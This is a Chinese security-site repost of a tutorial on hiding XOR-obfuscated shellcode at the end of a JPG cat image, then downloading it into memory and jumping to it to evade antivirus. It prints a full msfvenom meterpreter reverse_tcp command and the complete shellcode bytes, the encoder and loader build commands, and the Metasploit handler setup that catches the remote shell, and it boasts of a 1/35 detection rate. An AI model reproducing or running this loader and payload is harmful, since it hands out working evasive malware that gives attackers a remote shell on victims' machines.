安全路透社
当前位置:安全路透社 > 安全客 > 正文

【技术分享】如何从猫咪图片中加载运行shellcode


一、前言


猫咪是互联网的宠儿,这也是我为什么会考虑将猫咪和恶意软件联系在一起。

在某个偶然场合下,我接触到了一种比较特别的代码执行方法,其中涉及到某些可执行文件和一张图片。通常情况下,程序会下载图片文件,将该文件转化为可执行文件然后再运行。这种方法技术比较粗糙,可以在某些方面进行改进。

比如这种方法存在文件落盘行为,容易被反病毒软件检测出来。你可以通过内存执行方式来解决这个问题。然而,这么做的话你会遇到另一个问题,那就是你需要修改可执行文件中的IAT(Import Address Table,导入函数表)以及其他方面内容,因为可执行文件需要加载到其他程序的共享地址空间。

本文提出了一种方法,可以将shellcode嵌入到一张图片中,利用程序在堆中分配空间,下载远程图片然后执行图片中的shellcode。

这种方法使用内存运行方式,不容易被检测分析。在本文案例中,我们将使用一张JPG图片完成此项任务。


二、环境准备


你需要具备以下条件:

1、Windows系统

2、Linux工具

3、汇编知识

4、了解基本的MSFVenom载荷生成方法

5、编辑器:HexEditor(或WxHexEditor

6、安装GCC并添加到$PATH环境变量中

7、安装Nasm并添加到$PATH环境变量中

其他可选条件:

8、调试器:Ollydbgx64dbg

9、将ASM指令转换为Op代码的工具。我使用的是Ram Michael的MultiLine Ultimate Assembler插件:MUA插件


三、前期处理


由于可执行文件的执行过程总是遵循从头部到尾部的顺序,因此我们需要掌握在内存中运行自定义载荷的方法。当你通过HTTP方式下载一个文件时,你会收到HTTP响应头和紧跟其后的文件内容。由于响应头位置靠前且大小不固定,我们难以预测需要跳转到哪个具体位置来执行代码。我们能做的就是将载荷信息放到图片尾部,将这段载荷拷贝到堆上的另一块内存空间,然后跳转到对应位置。

插入载荷后的图片二进制数据如下所示:

JPEG图片头:FF D8 FF E0 00 10
JFIF ASCII字符:4A 46 49 46
图片字节数据
图片字节数据
载荷尾部:CC CC CC CC
载荷中部:BB BB BB BB
载荷头部:AA AA AA AA

我们需要分配内存空间,跳转到载荷中的AA AA AA AA处并翻转载荷数据。载荷在内存中翻转后的内容如下:

载荷头部:AA AA AA AA
载荷中部:BB BB BB BB
载荷尾部:CC CC CC CC

这一步完成后,我们只要跳转到正确地址就能顺利运行载荷。

本例中,我编写了一个简单的混淆器,对载荷进行异或处理,通过混淆器还原并运行载荷。

这个混淆器将载荷按WORD大小分割为多段数据,将FFFF添加到每段数据前头,通过逐位运算移除FFFF,将处理后的WORD添加到DWORD的第一部分,然后再添加下一个WORD数据到DWORD的第二部分。处理过程如下所示:

Mov eax, FFFFAABB    ; 将数据Move到EAX
And eax, FFFF        ; 移除头部的FFFF
Mov ebx, FFFFCCDD    ; 将数据Move到EBX
Mov ax, bx           ; EAX填充为AABBCCDD
Push eax             ; 压入栈中
Jmp esp              ; 跳转到载荷在栈中的地址并执行

出于混淆目的,我的代码中添加了一些异或处理过程,如果你有任何疑问,可以仔细研读代码并亲自动手试试代码的输出结果。


四、开始工作


我们先介绍一下如何使用MSFVENOM生成一段简单的载荷。你需要根据实际情况修改以下命令中的LPORT和LHOST参数值:

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=5555 -f c

输出结果如下所示,我标粗了其中的IP数据,以便读者替换为自己的IP(可以使用IP/Hex Converter这个工具)。

“\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30”
“\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff”
“\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52”
“\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1”
“\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b”
“\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03”
“\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b”
“\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24”
“\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb”
“\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c”
“\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68”
“\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\x01\x02\x03\x04\x68\x02″
“\x00\x15\xb3\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea”
“\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61”
“\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00”
“\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83”
“\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a”
“\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57”
“\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00”
“\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68”
“\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff”
“\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00”
“\x53\xff\xd5”;

在我的混淆器中,将“SHELLCODE GOES HERE”这段替换为上述数据。使用如下gcc命令编译混淆器源码:

Gcc -std=c11 LazyBitmaskEncoder.c -o encoder.exe

将程序的输出结果导出到文件中:

encoder.exe > somefile.txt

032117_2306_LaunchingSh2.png

在本文案例中,我有个值为31的额外字节,程序的警告信息提示我应该将它转化为经过异或处理的Nop指令(即7E),如下所示:

032117_2306_LaunchingSh3.png

现在我们需要得到上述汇编代码的字节码,网上可能有在线工具将汇编语言转化为字节码,在这里我使用的是Ram Michael开发的用于OllyDbg或X64dbg的MUA插件,如下所示:

032117_2306_LaunchingSh4.png

接下来我们选中这些字节码,在软件右键菜单中,选择“编辑”、“二进制拷贝”,将字节码拷贝出来。你也可以通过CTRL+INSERT组合键完成这个过程。

032117_2306_LaunchingSh5.png

然后我们将这些字节码附到图片的尾部。如前文所述,我们需要以相反顺序将它们附到图像尾部。在Linux中,要做到这一点十分简单。

以下是未做顺序变换处理前的字节码数据。

032117_2306_LaunchingSh6.png

我将这些数据保存到为“moo”文件,运行如下命令以获得正确顺序的数据。

for i in `cat moo` ; do echo $i;done| tac |sed ‘:a;N;$!ba;s/\n/ /g’

032117_2306_LaunchingSh7.png

现在我们需要将处理后的数据插入到图片中。选一张你最中意的猫咪图片,我选了如下一张暹罗猫图片。

032117_2306_LaunchingSh8.jpg

接下来是将那个shellcode拷贝到图片中。我们可以使用WxHexEditor以二进制形式打开图片,复制图片中的字节数据。需要时刻提醒自己,载荷必须放在尾部,如果你发现载荷不在尾部,那么你需要填充多个0x90直到shellcode的起始位置。

032117_2306_LaunchingSh9.png

图片尾部附加shellcode后如下图所示。保存为图片后,你会发现图像尾部存在一些微小的颜色失真现象。

032117_2306_LaunchingSh10.png

最后一个步骤,我们需要把这个图片放到Web服务器上,写个简单的程序,下载图片到内存中,跳转到正确地址,执行这段shellcode。最简单的一个方法还是通过汇编语言。

我写了一个汇编程序来完成这个任务。编译命令如下:

nasm -f win32 GhostExe.asm
gcc -fno-use-linker-plugin GhostExe.obj -o GhostExe.exe

我建议你可以打开调试器,将调试器附加到某个在运行的进程中,一步一步跟下来,观察它执行的步骤以加深理解。

如果你选择使用调试器,你可以看一下GhostExe.exe在00401482位置的偏移量,这是接收数据之后所在的位置。你可以在ECX的尾部看到输出的载荷数据。

或者你可以直接使用Metasploit,运行exe让它自动化执行。

msf>use exploit multi/handler
msf>set payload windows/meterpreter/reverse_tcp
msf>set lhost <local IP>
msf>set lport <local port>
msf>set ExitOnSession false
msf>exploit -j

以下是NoDistrubute.com给出的检测结果,只有1/35的检出率,非常好的一个结果。

032117_2306_LaunchingSh11.png


五、可选的调试步骤


我们可以看看调试步骤的一些截图

032117_2306_LaunchingSh12.png

定位到“JMP EAX”指令,这是我们从猫咪图片中跳转到shellcode的指令。

032117_2306_LaunchingSh13.png

是不是很眼熟:

032117_2306_LaunchingSh14.png

这就是我们原始的载荷:

032117_2306_LaunchingSh15.png


原文链接:http://resources.infosecinstitute.com/launching-shellcode-cat-pictures/

未经允许不得转载:安全路透社 » 【技术分享】如何从猫咪图片中加载运行shellcode

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册